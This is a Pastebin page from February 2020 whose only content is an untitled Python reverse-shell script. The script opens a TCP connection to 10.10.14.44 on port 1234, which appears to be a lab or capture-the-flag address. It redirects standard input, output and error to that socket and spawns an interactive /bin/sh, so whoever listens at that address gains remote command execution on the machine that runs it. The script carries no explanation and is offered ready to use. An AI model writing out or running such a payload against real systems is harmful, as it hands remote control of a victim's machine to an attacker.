SHARE
TWEET

Untitled

a guest Feb 16th, 2020 80 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. import socket,subprocess,os
  3. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  4. s.connect(("10.10.14.44",1234))
  5. os.dup2(s.fileno(),0)
  6. os.dup2(s.fileno(),1)
  7. os.dup2(s.fileno(),2)
  8. p=subprocess.call(["/bin/sh","-i"])
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top